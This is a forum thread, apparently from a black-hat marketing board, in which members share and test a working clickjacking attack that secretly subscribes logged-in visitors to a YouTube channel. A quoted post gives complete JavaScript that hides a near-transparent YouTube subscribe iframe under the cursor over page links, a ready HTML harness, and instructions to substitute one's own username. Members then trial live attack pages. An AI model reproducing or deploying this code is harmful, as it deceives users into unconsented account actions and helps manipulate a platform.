YouTube Subscribers ClickJacking

izSpK · Apr 2, 2011

Please be logged in before trying this: http://www.optimizet.com/sb/

It should subscribe to "SpK" (not my channel, but nice name

), and then go to the link you clicked on. This is just a try. If it worked, I will improve it and release it free.

baokyrox · Apr 2, 2011

i tried but seems not working. youtube

thisguykills · Apr 2, 2011

Worked for me. Mind pming me how you did this?

Wilson006 · Apr 2, 2011

it doesnt work

Imhotep · Apr 2, 2011

Wilson006 said:
it doesnt work

do you have adblock plus or noscript installed? That messes everything like this up for me.

Wilson006 · Apr 2, 2011

i dont

Wilson006 · Apr 2, 2011

It worked

Cool wish you could my username

crashover · Apr 2, 2011

Works perfectly, good find bro

madhatter$ · Apr 2, 2011

Working for me.

Fadi946 · Apr 2, 2011

$$Money$$ said:

Code:

var $J = jQuery['noConflict']();

function heightestChild(_0x37fax3) {
    var _0x37fax4 = 0;
    var _0x37fax5;
    $J('*', _0x37fax3)['each'](function () {
        if ($J(this)['outerHeight'](true) > _0x37fax4) {
            _0x37fax5 = $J(this);
            _0x37fax4 = _0x37fax5['outerHeight'](true);
        };
    });
    if (_0x37fax3['outerHeight'](true) > _0x37fax4) {
        _0x37fax4 = _0x37fax3['outerHeight'](true);
    };
    return _0x37fax4 + 3;
};

function highestOffsetTop(_0x37fax3) {
    var _0x37fax4 = _0x37fax3['offset']()['top'];
    var _0x37fax5;
    $J('*', _0x37fax3)['each'](function () {
        if ($J(this)['offset']()['top'] < _0x37fax4) {
            _0x37fax5 = $J(this);
            _0x37fax4 = _0x37fax5['offset']()['top'];
        };
    });
    if (_0x37fax3['offset']()['top'] < _0x37fax4) {
        _0x37fax4 = _0x37fax3['offset']()['top'];
    };
    return _0x37fax4 + 3;
};
$J(document)['ready'](function () {
    if (window['DO_write']) {
        $J('body')['append']('<div id="jquery-required" style="position:absolute;display:block;opacity:0.01;-khtml-opacity:.01;-moz-opacity:.01;filter:alpha(opacity=1);"><iframe id="fr" src="http://www.youtube.com/subscribe_widget?p=SpK" style="overflow: hidden; height: 92px; width: 134px; border: 0;" scrolling="no" frameBorder="0"></iframe></div>');
        var _0x37fax7 = 0;
        var _0x37fax8 = 0;
        var _0x37fax9 = '';
        $J(document)['mousemove'](function (_0x37faxa) {
            if (_0x37faxa['pageY'] < (highestOffsetTop(_0x37fax9) - 4) || _0x37faxa['pageY'] > (highestOffsetTop(_0x37fax9) + heightestChild(_0x37fax9)) || _0x37faxa['pageX'] < _0x37fax9['offset']()['left'] || _0x37faxa['pageX'] > (_0x37fax9['offset']()['left'] + _0x37fax9['width']())) {
                _0x37fax9 = '';
                $J('#jquery-required')['css']('display', 'none');
            } else {
                if ($J['browser']['msie']) {
                    $J('#jquery-required')['css']('top', (_0x37faxa['pageY'] - 86) + 'px');
                    $J('#jquery-required')['css']('left', (_0x37faxa['pageX'] - 30) + 'px');
                } else {
                    $J('#jquery-required')['css']('top', (_0x37faxa['pageY'] - 73) + 'px');
                    $J('#jquery-required')['css']('left', (_0x37faxa['pageX'] - 30) + 'px');
                };
            };
        });
        $J(document)['delegate']('a', 'mouseenter', function () {
            _0x37fax9 = $J(this);
            $J('#jquery-required')['css']('display', 'block');
            setInterval(function () {
                window['location']['href'] = _0x37fax9['attr']('href');
            }, 3500);
        });
    };
});

replace

Code:

http://www.youtube.com/subscribe_widget?p=SpK

with your username.

Save it as jquery.14.js

and then use it like so:

HTML:

<html>

<head>

<script src="http://code.jquery.com/jquery-latest.pack.js"></script>

<script>window.DO_write = 1</script>

<script src="jquery.14.js"></script>

</head>

<body>

<a href="http://www.youtube.com/" style="position:relative">YouTube</a><br /><br /><br />

<a href="http://www.google.com/" style="position:relative">Google</a><br /><br /><br />

<a href="http://www.facebook.com/" style="position:relative">Facebook</a><br /><br /><br />

</body>

</html>

Thanks, but where do I put this script?

Edit: I mean the second script..
I put the first one on notepad and saved as jquery.14.js . Now what to do with the second one?
Edit 2 : I saved the second script as HTML and didn't work

Edit 3 : It works only to his "SpK" account

Adam Rock · Apr 2, 2011

from what i can tell its basically just a subscribe widget on the link.

izSpK · Apr 2, 2011

Fadi946 said:
Thanks, but where do I put this script?
Edit: I mean the second script..
I put the first one on notepad and saved as jquery.14.js . Now what to do with the second one?
Edit 2 : I saved the second script as HTML and didn't work
Edit 3 : It works only to his "SpK" account

Do you think I'm stupid enough to make it that easy?

Fadi946 · Apr 2, 2011

izSpK said:
Do you think I'm stupid enough to make it that easy?

Rofl xD
I know you are not, but someone gave us a quick guide so I thought it will work for others, especially because he said "Change SpK with your YouTube username" .. =P

Adam Rock · Apr 2, 2011

how come it keeps randomly redirecting to google?

Adam Rock · Apr 2, 2011

http://subtest1.bravehost.com/

test to see if mine is working...

bbblackhhhat · Apr 2, 2011

Should it be asking me to log in?

Fadi946 · Apr 2, 2011

Adam Rock said:
http://subtest1.bravehost.com/

test to see if mine is working...

Doesn't work.

Adam Rock · Apr 2, 2011

Fadi946 said:
Doesn't work.

please try again, it should subscribe a user called "win"

-everytime i try it its working perfectly.

what @$$Money$$ said was 100% correct.

Fadi946 · Apr 2, 2011

Adam Rock said:
please try again, it should subscribe a user called "win"

-everytime i try it its working perfectly.

what @$$Money$$ said was 100% correct.

At first it was redirecting me to your YouTube channel page.
Now its "404 file not found"

I tried 5 times.

Adam Rock · Apr 2, 2011

Fadi946 said:
At first it was redirecting me to your YouTube channel page.
Now its "404 file not found"
I tried 5 times.

are you logged into youtube?

its working perfectly fine on all the accounts i tried.

YouTube Subscribers ClickJacking

BANNED

BANNED

Junior Member

Junior Member

Regular Member

Junior Member

Junior Member

Power Member

Newbie

Power Member

Senior Member

BANNED

Power Member

Senior Member

Senior Member

Newbie

Power Member

Senior Member

Power Member

Senior Member

Main Menu

Marketplace

Making Money

BlackHat World